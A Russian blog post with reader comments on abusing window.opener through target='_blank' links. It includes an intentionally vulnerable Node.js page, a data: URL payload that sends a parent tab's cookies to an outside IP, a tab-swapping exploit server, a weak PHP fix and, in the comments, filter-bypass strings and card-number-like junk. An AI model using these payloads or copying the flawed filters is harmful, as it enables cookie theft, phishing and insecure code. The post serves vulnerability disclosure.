вчера в 16:31

Атакуем через HTML тег а

Тег a — это не только ценный мех, но и инициализация window.opener.
В этой статье вас ждет рассказ об одной особенности данного тега и способы решения проблемы.



Вступление



Всё это началось меньше года назад. Я заметил (узнал), что открытие гиперссылки в новом окне инициализирует JavaScript’овский window.opener.

Для справки: window.opener дает доступ к родительскому окну (к фрейму-родителю), т.е к окну, в котором вызвали window.open().

Разумеется, я сразу начал гуглить, но ничего вразумительного не нашел. Всё бы ничего, но если бы не одно «НО»:
Window.opener инициализируется, даже если домены и/или IP-адреса разные.

На днях разбираю почту и вижу, что получил сообщение от команды Яндекса:



Сообщение о баге, точнее о теоретическом применении атаки через window.opener( далее w.o), было оставлено мной около месяца назад, я уже и не надеялся на ответ.
Но мир – странная штука, не так ли? :)

Часть 1



От теории к делу!


Предположим, что мы имеем страницу, в которую можем встроить гиперссылку.
Напишем код, позволяющий воспроизвести нам данную уязвимость.

//Код №1
/*Автор кода просит прощения за все баги, связанные  с ним. Код написан под node.js */
var http = require('http');
http.createServer(function (rq, rs) {
var cookie="Super :"+Math.random(-1)*30/13+": Mario"; //при каждом новом запросе, значение куки будет разным
  rs.writeHead(200, {'Content-Type': 'text/html',
                     'Set-Cookie': cookie});
  if(!require('url').parse(rq.url).query){ // проверим на наличие входных данных
  rs.end('<h2>ERROR!</h2><br>Example: http://127.0.0.1:8080/wo.bug?host=http://google.com/<br>Shutting down :)');
console.log('[DEBUG] URL: '+rq.url+' is not valid!'); // немножко дебага
  console.log('Achtung!');
  process.kill(process.pid); //чтобы наверняка :)
  }
  var host=require('url').parse(rq.url, true).query.host, //парсим
  host=host.replace(/ /g,'%20'),//Решим проблему с обрезанием пробела
  host=host.replace(/</g,'&'+'lt;'), //antiXSS
  host=host.replace(/>/g,'&'+'gt;'), //antiXSS
  host=host.replace(/javascript:/g,''); //antiXSS
  console.log('URL: '+host); //Вывод ссылки в консоль
  rs.end('<center><br><a href='+host+' target="_blank">click-click</a><br>Hey, '+cookie+'! </center>'); //"безопасный" вывод
}).listen(8080);  //запустим сервер на 8080 порту 


В данном коде специально пропущена фильтрация протокола data. Через специально сформированную ссылку, и по средствам w.o, мы сможем выполнить XSS атаку.
Для тестов я взял «большую тройку» браузеров: Opera/12.12, FireFox/18.00, Chrome/23.0.1271.97.

FireFox


Итак, передадим в атрибут href, тега a, значение «data:,1»:



После нажатия на гиперссылку видим, что w.o инициализирован:



А это значит, что, возможно, мы имеем возможность получить полный доступ к родительскому окну.
Остается только убедиться в этом.



Используя w.o, мы успешно получили доступ к кукам родительского окна, но вот почему document.cookie=window.opener.document.cookie я не знаю, честно. Замечу, что данная особенность характерна только для FF.

Проверил на VM с XP SP3 и FF 17, такая же картина:



Остается только написать exploit, который будет использовать тег «а», протокол data и w.o, для кражи кук(да и вообще чего угодно).

Payload:

var snif=new Image(), //инициализируем картинку
ck=window.opener.document.cookie, //получаем куки из родительского окна
concat = function() { return Array.prototype.slice.call(arguments).join("")};//объединяем строки без использования знака +, так как знак плюс при GET запросе равносилен пробелу, что приведет к ошибочному синтаксису JavaScript
snif.src=concat('http://192.168.1.4:8081/?cok=',ck); //отсылаем куки (192.168.1.4-локальный IP виртуальной машины)


Передаем это в переменную host(используя протокол data, а именно: data:text/html, <script>Наш payload</script> ).Нажимаем на ссылку и любуемся куками:


А это окно, в которое внедрили наш код:



Как видите, мы успешно смогли украсть куки.

Opera


С браузером Opera почти так же, как и с FireFox. Так что шаги будут те же.

Проверим, инициализируется ли w.o:



Проверим, можем ли мы прочитать куки:



Видим, что мы успешно смогли прочитать куки из предыдущей вкладки(родительского окна).
Остается только эксплуатировать данную уязвимость. Код payload’а будем использовать такой же, как и для FF.

Передаем в переменную host наш exploit и опять любуемся куками:



Окно со ссылкой:



Итак, мы смогли успешно украсть куки. Довольно печальная ситуация, но ведь еще остался Google Chrome.

Chrome


Проверим наличие доступа к w.o:



W.o инициализирован, но Хром не дает нам получить доступ к данным окна-родителя:



Теперь самое время посмотреть на эту уязвимость под другим углом.
А что будет, если и протокол data фильтруется?
Добавим в наш код четвертую фильтрацию, фильтрацию протокола data.

Код примет вид:

/*…*/
  host=host.replace(/</g,'&'+'lt;'), //antiXSS
  host=host.replace(/>/g,'&'+'gt;'), //antiXSS
  host=host.replace(/javascript:/g,''), //antiXSS
  host=host.replace(/data:/g,''); //Data не пройдет!
/*…*/


Внеся эту поправку в код, мы больше не сможем провести XSS атаку, но ввести пользователя в заблуждение, переопределив w.o, мы способны.

Часть 2



Теперь передадим, в переменную host, ссылку на сайт evil.com.

FireFox




В FF 18 w.o успешно инициализируется, но мы не имеем возможности проникнуть в предыдущий фрейм(вкладку), так как домены различны и политика безопасности нам это не позволяет.

Opera




Ситуация с этим браузером аналогична ситуации с FireFox.

Chrome




В Хроме доступ к w.o имеется, но политика безопасности режет наши права до минимума.



Атакуем!



FireFox




Переопределение:



Opera




Переопределяем w.o:



Chrome





Переопределяем:



Пишем exploit



Ну а если есть уязвимость, то должен быть и exploit :)

var http = require('http');
 if(!process.argv[2] || !process.argv[3]){console.log('Usage: node '+process.argv[1]+' ip port');process.exit(1)}
 http.createServer(function (rq, rs) {
 rs.writeHead(200, {'Content-Type': 'text/html'}); //всем добра, всем 200 
 if(!rq.headers.referer){ // если Referer отсутствует
 rs.end('');
 console.log('Referer is undefined!');
 process.exit(1);
 }
 var host=require('url').parse(rq.headers.referer).hostname; // Извлекаем домен из Referer'а
 var out="<html><script>"+
 "window.opener.location='http://"+process.argv[2]+":"+process.argv[3]+"/"+host+".html';"+ //переопределяем страницу на поддельную
 "window.close()"+    //закрываем окно 
 "</script></html>";
 rs.end(out); //осуществляем подмену
 console.log('Window.opener changed!');
 process.exit(1);

 }).listen(80) // Запускаемся на 80 порту


Этот простенький код позволяет нам подменить сайт во вкладке-родителе.
Оговорюсь, что перенаправление будет идти на адрес: site:port/referer.html. Где «referer» — значение вида site.*
Ввиду того, что снять скриншоты будет проблематично, я записал видео:

Advertisement
Alert icon
The Adobe Flash Player or an HTML5 supported browser is required for video playback.
Get the latest Flash Player
Learn more about upgrading to an HTML5 browser


Защита



Хорошо, мы рассмотрели примеры нападения, но как же защититься?
Тут есть два способа решения: либо принудительно изменять значение атрибута target, тега а, на “_self”, либо танцевать с бубном, но открывать ссылку в новом окне.Угадайте, каким способом мы пойдем?

Фикс довольно прост: присвоение window.opener значения null.
Напишем простой php код, позволяющий переопределить w.o на null и выполнить переадресацию на указанный ресурс.

<?php
$url=str_replace('data:','',$_GET['href']); //удалим "data:"
$url=htmlspecialchars(str_replace('javascript:','',$url)); //защитимся от XSS 
if(!$url){die();};
echo "<html>";
echo "<body>";
echo "<script>";
echo "window.opener=null;"; //переопределяем w.o на null
echo "document.location='".$url."';"; //выполняем перенаправление 
echo "</script>";
echo "</body>";
echo "</html>";
?>


Нам остается только применить фикс в нашем коде(1).
Предположим, что наш php файл храниться по адресу: site.com/file.php
Тогда наш код(1) примет вид:

/**/
rs.end('<center><br><a href="http://site.com/file.php?href='+host+'" target="_blank">click-click</a><br>Hey, '+cookie+'! </center>');
/**/


А вот и результат нашего «шаманства»:



Да, это неудобный способ, но только такое решение проблемы я могу предложить на данный момент.
Если у вас есть идеи, то, пожалуйста, оставляйте их в своих комментариях.

Злоключение



Среди ресурсов, уязвимых к данной атаке, я могу выделить
Гугл:








Рамблер:








Список можно продолжать до бесконечности.

И конечно, данная информация представлена только для ознакомления.
Вы не имеете права использовать ее для атак, иначе вас покарает УК РФ!
Have a nice day!

UPD: Разбираемся с window.opener в IE 9( простите, только он оказался под рукой)
С IE 9 творится что-то эдакое…
К примеру, в нем нет протокола data, вообще.



Следовательно, будем пытаться переопределить w.o.

Кликаем на ссылку и видим, что w.o успешно инициализирован:



Пытаемся переопределить w.o:



Ничего, ноль эмоций.
Но если открыть предыдущую вкладку, то:



Видим, что IE опознает смену как открытие нового окна и выдает предупреждение.

И даже это еще не всё!

Разрешим всплывающее окно:



Повторно попробуем сменить location:



Подмена window.opener не просто не произошла, а вообще открылось новое окно.
32474
320
fil9 218,1

комментарии (104)

+15
fil9, #
Это моя вторая статья, поправки и замечания приветствуются! :)
+31
romawka_ural, #
Ёлки-палки зелёные моталки o_O…
+3
fil9, #
именно
+4
Lexi, #
Вы разработчикам браузеров, об уязвимости то сообщили?
0
fil9, #
Пока нет, я просто не мог им на пальцах объяснить, как это работает. Страшно то, что уязвима любая ссылка, если атрибуту target присвоено значение _blank.
Ушел писать багрепорты.
0
Lexi, #
Ну, на мой взгляд первое хоть и баг, но скорее неприятный, чем страшный — data: если его не фильтровать и так может много чего наделать. А про второе разработчики вероятно в курсе (скажем вот пост одного из оперных: my.opera.com/hallvors/blog/2007/03/14/window-opener-and-security-an-unfixable-problem ) и дело в совместимости.
0
RussianNeuroMancer, #
> Ушел писать багрепорты.
Как напишите, выложите ссылки.
+33
backmeupplz, #
Гугд дает хорошие деньги за нахождение уязвимости в Chrome! Автор! Есть шанс хорошо заработать!
–5
Alexufo, #
Ну все, теперь на файлообменники ни ногой. Я попросил бы спрятать.наверное, руководство для школьников(.
А то и вовсе убрать статью пока(
+22
fil9, #
Внести «поправки» в код?
Кстати, я тоже школьник :)
–3
Alexufo, #
Я не чуть не сомневаюсь в нашем подрастающем поколении. Даже чувствовалась в статье некая легкомысленность. Нельзя, помоему, такие вещи выносить до патчей в браузерах. Ну это как со скайпом, только там по другому понять не хотели.
+1
fil9, #
Вы поймите: я написал об этом только для того, что бы на это обратили внимание и как можно скорее поправили эту «оплошность».
+3
marvel, #
Мой брат в 14 лет нашел уязвимость в Firefox и написал багрепорт. В ответ спросили на какой счет перевести $3000
+10
ideator, #
Удивляет то, что столько лет на это никто не обращал внимания.
+10
ideator, #
Удивляет то, что столько лет на это никто не обращал внимания.
+10
ideator, #
+4
fil9, #
Я даже не думаю, что ЭТО кто-нибудь мог себе представить.
+3
Nordvind, #
Это представляли себе как минимум те, кто писал соответствующий стандарт.
0
esc, #
Есть рекламные сети, которые пользуются такой уязвимостью (черные) и довольно давно. Правда, они ничего не воруют, обычно, только страницу, с которой перешли подменяют другой.
+10
kns, #
Пользуясь случаем, порекомендую расширение NoBlank, которое заменяет _blank на _self у нажимаемых ссылок.
0
fil9, #
А вот за это +, в данном случае, очень нужная вещь!
NoScript тоже поможет.
+1
fatal, #
А надо ли расширение?
opera:config#UserPrefs|IgnoreTarget
–1
Meliborn, #
Надо. Не у всех опера.
+2
int_index, #
Расширение для Оперы.
+15
invented, #
Простите уж, но не нашел тут уязвимости.
Увидел два кейса:
1) Через href=«data:anything» можно исполнять JS на странице.
Да, ок, можно, но его так-же можно исполнять через «javascript:» и еще массой способов.
То что у вас получилось — это описание использования обычной XSS, с небольшими условиями по фильтрации.
2) window.opener.location можно переопределять.
Да, можно, но это боян который сеошники используют уже лет 5, насколько мне известно. Кликаешь на страничку в результатах поиска и window.opener.location меняется на порнуху.
+3
invented, #
Кстати, та-же самая «уязвимость» под номером 2 возможна, например, при выполнении кода внутри IFRAME: window.parent.location = «bla»
0
KirAmp, #
Чем воспользовался сайт с взломом капчи, перенаправив юзеров контакта на порнуху :-)
0
Nordvind, #
Вроде как речь больше о том, что можно красть куки из соседних вкладок (что работает в FF/Opera и не работает в хроме).
0
invented, #
Ну да, можно красть куки, при условии XSS(или если проще, какого бы то нибыло внедрения кода) на уязвимой странице(вкладке).
Речь о том, что если можно на странице вообще впринципе сгенерить ссылку произвольного вида data/javascript/gopher/magnet/foo:anything — то это обычная XSS уязвимость, не более.
0
1ac3124, #
Красть куку в Opera/FF можно просто вставив ссылку с target="_blank". На странице назначения все куки родителя доступны в window.opener.document.cookie
+5
invented, #
Вы сами то это пробовали сделать? :)
image
Да и автор пишет, что: так как домены различны и политика безопасности нам это не позволяет.
+2
fil9, #
При условии, что в href подали протокол data.
У меня тут вопрос к invented, вы много встречали страниц где «javascript:» свободно пускают? Я вот нет.
А вот window.opener позволяет нам расширить возможности XSS. По работе, я встречал кучу сайтов, где был идеальный парсер, но вот теги a и протокол data пропускались. Я репортил, а мне говорили, мол:«Не баг. Укради куки.»
Используя window.opener я это успешно делал и наблюдал, как их улыбки быстро «исчезали» :)
Да и подмена window.opener.location, при разных доменах, тоже вещь не особо приятная. Я показал это на примере Вконтакте.
+1
Lexi, #
> 1) Через href=«data:anything» можно исполнять JS на странице.

Можно получить доступ с страницы созданной через data: к основной. Это всё-таки нарушение sop.
+2
Raz0r, #
0
invented, #
Как раз гуглил этот линк, спасибо тебе.
+1
fil9, #
Они получают доступ так:x=open('http://hackademix.net/')
Я же, через тег а.
Согласитесь, разные вещи.
Всё в ваш «javascript:» упирается.
А если он фильтруется, а?
Ничего :)
+3
RuslanZavackiy, #
Http Only Cookie — спасут от увода кук, а вот от подмены страницы пока, конечно, неизвестно.
+1
MaGIc2laNTern, #
К сожалению, до сих пор очень много разработчиков понятия не имеют о флаге HttpOnly, CSRF-токенах и других уже, фактически, базовых методах защиты (да что там говорить — куча веб-сайтов после регистрации присылает пароль в открытом виде по почте). Рекомендую им почитать, например, вот эту блогозапись (включая комментарии).
0
Chikey, #
согласен, многие веб разрабы вообще при слове CSRF офигевают
0
fil9, #
Я даже могу сейчас сюда подкинуть CSRF на Вконтакте и Facebook :)
Их просто НЕ ФИКСЯТ, хотя репорты есть.
0
Chikey, #
на вконтакте — оставь себе, у них баунти нет :)
а на фейсбук кидай незарепорченные мне в личку, дам 100 баксов! или даже двести! пару К можно выбить
0
fil9, #
Боюсь, что нам не по пути.
Whitehat, такой whitehat…
0
Chikey, #
я про facebook bounty они платят больше чем можно заработать на самой CSRF
0
fil9, #
Это да, но если бы они еще и отвечали на багрепорты. На мой они молчат. Уязвимость жива, уже месяца 3 как.
0
Chikey, #
неудивительно. у меня многим друзьям не отвечали. но у меня там был знакомый интервьюер и он пролоббировал мой баг и баги моих друзей
0
fil9, #
Тогда я просто не понимаю: зачем им такие программы, если они не работают.
0
Chikey, #
не работают? в мире все относительно, вот YandexBugBounty да, не работает habrahabr.ru/post/163039/
а fb bounty по сравнению цветет и пахнет — погуглите сколько получателей баунти. средний чек 2-3к баксов.
+1
BeLove, #
Работают, думаю тот же
+1
BeLove, #
Работают, думаю тот же
+1
BeLove, #
Chikey подтвердит :)
0
ComodoHacker, #
Тогда публикуйте!
0
fil9, #
Хм… буду делать новый багрепорт :)
+2
fil9, #
Кстати, Opera mini неуязвима. Там вообще нет window.opener!
0
ki11obyte, #
А почему не рассматривается IE?
0
fil9, #
При клике на подобную ссылку в IE, окно открывается не в новой вкладке, а в новом окне(ie, такой ie). Так window.opener не инициализируется.
А вот если кликнуть правой кнопкой мышки по ссылке и нажать на «открыть в новой вкладке» window.opener будет инициализирован.
0
ki11obyte, #
Все хорошо, но нужно такие немаловажные факты писать в статье, а не в комментариях
0
fil9, #
Простите, я соврал вам об IE. Скоро обновлю пост.
+1
ki11obyte, #
Боюсь вы не правы. Протокол data в IE9 есть. Просто он доступен только из некоторых мест. Например в теге img
0
fil9, #
invented, для вас, специально.

1) Вот поведение вашего «javascript:», когда target="_blank"




2) А вот проводим XSS по средствам window.opener.


Еще вопросы?)
–1
invented, #
Хорошо, согласен.
Следующий шаг: Вставь линк с «data:» куда-нибудь в гугл :)
image
0
theRavel, #
Благодаря вашему комменту я сильно испугался, открыв страницу, т.к. увидел окно http-авторизации
0
fil9, #
А вы что, хотите сразу Гугл ломать?)
Перейдите на любой сайт, через Гугл, и балуйтесь c window.opener.location
0
fil9, #
Ваша «картинка» неуместна.
–2
invented, #
Да ладно, боянить так боянить. Новый год ж.
0
fil9, #
Ну я мог и ссылку с data вам подкинуть.
Если судить вашей логике :)
0
invented, #
Так попробуйте наконец :) желательно с гуглом, ну или на худой конец с Яндексом
+1
fil9, #
1. Первую картинку видели?
и
2. Я не гажу, а вот ваше окошечко не говорит о вас хорошо.

Только у меня Chrome и у меня окошечка то и нет.
+1
invented, #
Готов перейти по любой сгенеренной вами ссылке, что украдёт у меня авторизационные куки Яндекса или Гугла. С использованием data: естесно.
0
fil9, #
Там у кук ОЧЕНЬ крутая защита. Всё, что сможет XSS, дак это выполнить почти любое произвольное действие с вашим аккаунтом.
+1
invented, #
Знаю) Готов на демонстрацию хоть простого алерта :)
0
Hig, #
Неистово требую порции и мне!
0
fil9, #
За 1000$ согласен :)
+1
Chikey, #
> ОЧЕНЬ
флаг HTTPONLYHTTPONLY?
–2
fil9, #
На моей памяти, он обходится использованием TRACE метода.
Разве нет?
0
Chikey, #
лол, БЫЛА уязвимость обходом через TRACE и еще в java плагине. но это была уязвимость и их давно закрыли
–2
fil9, #
А если найти новый способ?
Challenge, а? :)
0
Chikey, #
а ты уже нашел? жду поста ) если еще нет — удачи в поисках
–2
fil9, #
Вызов принят :)
+1
Meliborn, #
Ох уж эта звездная слава.
0
kns, #
Вот, кстати, не могу понять, почему и зачем Опера в последних версиях перестала молча игнорировать такие картинки.
+2
theelephant, #
Cкажу я вам так, нельзя получить куки с выключенного, не подключенного к сети сервера, находящиеся в закрытой банковской ячейке. Особенное если ты утопил ключи в ниагарском водопаде. Но тут же все свои? Вы не будете пытаться это сделать?
* косо посмотрел не присутствующих *
0
Vokabre, #
–9
Grebenshikov, #
Автор, Вы уже подали заявку на вакансию в Google?
0
fil9, #
Какой Гугл? Мне и спасибо то никто не сказал.
Уж простите, но тут работает фраза: «Это не баг, а фича»
0
backmeupplz, #
А в google писать насчет бага и попробовать сорвать куш уже пробовали?
code.google.com/p/chromium/issues/list
0
fil9, #
Нет, это одна «большая уязвимость».
Ну не такая уж и большая, что бы быть уязвимостью :)
Просто доступ к предыдущему окну на полных правах != хорошая безопасность.
+1
shr, #
Пробую на 2х сайтах, в одном вставляю ссылку с _blank на другой, а на том alert(window.opener.document.cookie);

В Opera 12.12, FF 17.0.1 одинаковые ошибки типа Error: Permission denied to access property 'document'

ЧЯДНТ?
0
fil9, #
УК РФ, а?
на 2х сайтах

Вы не сможете получить доступ к кукам, если выполняете js код не через протокол data.
Пробуйте window.opener.document.location=«www.googleforidiots.com/»
0
shr, #
На 2х своих сайтах это не УК РФ. Пробую реально там, где юзеры вставляют ссылки. Т.е. без экзотической data ничего не выйдет?

На таргете прямо в скрипте

window.opener.location='http://google.com';
alert(window.opener.document.cookie);

NS_ERROR_DOM_PROP_ACCESS_DENIED: Access to property denied
0
fil9, #
alert(window.opener.document.cookie);

?
ВЫ ПЫТАЕТЕСЬ получить куки гугла.
А вам нужно внедрить тег а, находясь на домене google.com, а в href прописать ссылку и через протокол data выполнить XSS атаку.
Всё, замолчу, подсказывать — не хорошо.
0
shr, #
ок ) значит, о тех сайтах волноваться не буду

З.ы. приравнял Opener 1му домену — та же ошибка, хз ;)
0
Chikey, #
>А вам нужно внедрить тег а, находясь на домене google.com, а в href прописать ссылку и через протокол data выполнить XSS атаку.

это не xss атака + с тем же успехом можно написать «Вам надо найти XSS дырку чтобы выполнить атаку. Ищите, я не нашол»
0
Chikey, #
>А вам нужно внедрить тег а, находясь на домене google.com, а в href прописать ссылку и через протокол data выполнить XSS атаку.

это не xss атака + с тем же успехом можно написать «Вам надо найти XSS дырку чтобы выполнить атаку. Ищите, я не нашол»
0
Chikey, #
0
fil9, #
нашол

А я нашЕл :)
Нет, серьезно.
Я находил XSS у Гугла.
0
Chikey, #
на каком domain, уже исправлено?
0
fil9, #
Конечно.
+2
Chikey, #
эх я думал тут серьезный баг по типу глазунова или пинкипая…
вообще javascript: не фильтруют. есть понятие whitelist и нормальные разработчики просто пропускают /https?://… а не делают костыли
НО то что ФФ позволяет через новый открытый data: выполнять код в ориджине — это конечно давний фейл и я +1 чтобы это исправили ибо бред.
откроешь много нового тут =) html5sec.org/
+2
backmeupplz, #
image
Весело у вас тут :D
Safari отжигает
+1
fil9, #
Хром молчит.
Ну это не очень весело, если уж по-хорошему.
+2
invented, #
Много лулзов :)
Лог этого окошка за два часа(ссылку похерил, да):

@?>@? ?@>@?>
000xren000 vam
0<?php exit; ?> 1
1 0
1 1
11 11
111 11
111 111
1111222233334444 5555
1 2
123 123
123123123 123123
123 213
123 321
123 423
123 45
12345 12345
123455642234577876656 cvv2
123456 1234
1234567890 1234567890
12345 cvv2
1234 fds
123 A<<2
123 cvv2
1254123612379542 1234
12 qw
1344177856736543 1254
146741467414674 343
1 cvv2
20AO ?C?:8=
2113 123123
2222333344449999 178
324091421234 423
3543535343 345345
4222054974838563 111
4322567800017945 987
433354354 5454
4345100006450834 254
4378489022124789 037
4688666655432348 354
4764 7524 3615 6542 456159753
5 
554545141489421 3124
5 6
643563456 345634563456
848 =0 EC9 
848  =0EC9
-96048136q436  cvv2
a a
aaza 
admin admin
afiget' afiget'
}{akep root
alibaba lmfsdznrbuwah4yh2y47q2yu3wiotjioe
asd asd
asdasd asdasdasd
azsx sxdc
bfg gfbgfb
bsdsdf sfsdfdsf
c =>2K< 3>4><!
ccc cccc
credit card number cvv2
йй йй
 D::D
допе cvv2
автор соси хуй сочно блять соси!!!!!!!!
ddg dgdags
парпа апрапр
demo demo
dfegrg 456
dffasf aff
dfg dgf
dfsdf sdfdsf
dfvdfvfdv sdv sds
die bitch
E@5= B515
E BK 6>?0 A @CG >9, 409 8=209B:im-sadya.ru
>EC5BL! 09B5 420!
EC9?87404683C@40 >;>;>
 EC9 A>A=CBL =5 E>G5HL? password
EC9 B515
errereerer erererreer
fhvd vjvf
fil9 30294327492743219234
fuck fuck
fuck off
fuck off nigger fuck off nigger
fuck _u 
fuck you
Fuck You
fuck you lold:0
gkh ghk
good joke:)
HAPPY NEW YEAR
hehehe 123
hello LOL
h h
hhh y7
holy shit
huipisda hui
hyi hyi
idi nahui
idite naxyi
Intruder! fADEAWAY
kkk oooo
lol 123
lol i like habk
lol lol
lolsda ahahah nice joke
Lt.RAT Elmekia111
Nicola Tesla tunguska
ñîñè øêîëüèíê
no card :(
nu da? pohui
number cvv2 
okidinahui pidaras
oldtricks arealwaysnice!
>;>;> olololo
Poshel Na_Hui
privet habr
q11 q11
qqqqq qqq11
qwe 123
qwe qwe
re fxc
rr ee
sdf asd
sd sd
shkoJIbHer atake
SOSAI PLS 
sosi_hui_admin FUCK_FUCK_TWICE
srv rfrekz
Suck cock
suck_yourself xa-xa-xa
test 
tst test
vakhmurka Qw766346zx
VASIAPUPKIN HUYEVVAMVNOVIYGOD
VasilyiAlibabaevich Pupkin
very good
w d
werfwte awert4h65u6
WTF Well done
x172772 netort99
xyu cocqtb>
0
backmeupplz, #
4345100006450834 254
4378489022124789 037
4688666655432348 354
Тролль 90 лвл :D
+3
milax, #
Шикарно.

P.S. Если у нас есть такие школьники, значит не все так плохо как рисуют.
+6
Spencer, #
Уязвимость не в браузерах, а в сайтах.
Если есть возможность вставить ссылку на сайт, который не проверяет атрибут href, то можно без проблем сделать, например, так:
<a href="javascript:alert('Hello, world!')">Link</a>

На счет того, что у вас в коде представлен метод борьбы с javascript`ом в ссылке:
host=host.replace(/javascript:/g,''); //antiXSS

Так можно сделать, например, так:
<a href="javajavascript:script:alert('Hello, world!');"></a>

Тогда будет вырезана эта часть: "javajavascript:script:alert('Hello, world!');", останется только "javascript:alert('Hello, world!');
0
Chikey, #
+1, нормальный разраб вообще другим путем пойдет. будет фильтровать и протоколы и слэши чтобы не прошло
javascript://%3F…
–3
fil9, #
Да я и не пытался написать фильтр входных данных, я писал так, что бы не показаться «дураком».
Но обход фильтрации неплох)
Посмотрите скриншоты выше, ваш «javascript:» работает только если target="_self", а он таков по умолчанию.
Но если target="_blank" и, уж так и быть, «javascript:» не фильтруется, то для того, чтобы провести XSS атаку, нужно делать так:«javascript:window.opener.alert('XSS')»
0
Eddy_Em, #
А можно ссылочки «на пощупать»?
Как это у себя-то проверить?
+1
extensible, #
Возможность кражи куков:
1) jsfiddle.net/WCmBm/

Подмена адреса родительского окна:
2) Открываете любую ссылку в новом окне (target="_blank"), в открывшимся окне в js-консоли пишете window.opener.location.replace('новый_урл')
0
efimich, #
Красивая бага. А что за протокол data, откуда он вообще взялся?
0
Sytrus, #
гм… а как же файервол?
Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.
Метки лучше разделять запятой. Например: общение, социальные сети, myspace.com, подростки, мердок
или закрыть
Лучшее за 24 часа
Похожие посты
Прямой эфир  посты  q&a
  • Управление задачами и проектами
  • Контроль работы сотрудников и оценка эффективности труда
  • Управление корпоративными коммуникациями
  • Организация совместной работы и управление сотрудниками
  • Контроль всех финансовых процессов.
Intel обновляет флагманские продукты:
  • Intel Parallel Studio XE 2013
  • Intel Cluster Studio XE 2013
Wi-Fi Hot Sport
  • Беспроводной интернет от 3 000 руб./мес.
  • Скорость доступа внутри сети до 2 Мбит/с
  • Круглосуточная техподдержка
Автоматизированное продвижение сайтов
Более 200 000 сайтов выбрали SeoPult. Более 70% продвигаемых запросов стабильно стоят в ТОП10 Яндекса
  • 150% экономии на ссылках
  • 2Запуск проекта за 10 минут
  • 3Вывод и удержание в ТОП 10
Современные решения для монетизации сайтов, игр, мобильных приложений, поискового трафика.
  • Высокий уровень отдачи в среднем от 2х до 15 рублей за переход.
  • RealTime статистика.
    Еженедельные выплаты.
  • Возможность выбора и анализа рекламных предложений из XML.
  • Огромный выбор предложений, постоянно растущие ставки на клики.
IceWarp Server
Мощная система корпоративной
почты и коллективной работы
  • мгновенный обмен сообщениями
  • SMS-сервер
  • веб-интерфейс
  • аудиовизуальные инструменты
  • поддержка любых мобильных устройств
  • встроенная защита от спама и вирусов
Решения IceWarp для корпоративной почты и коллективной работы.
Доступно, эффективно, просто.
  • Узнайте больше на вебинаре 13 декабря.
  • Участие бесплатно.
наверх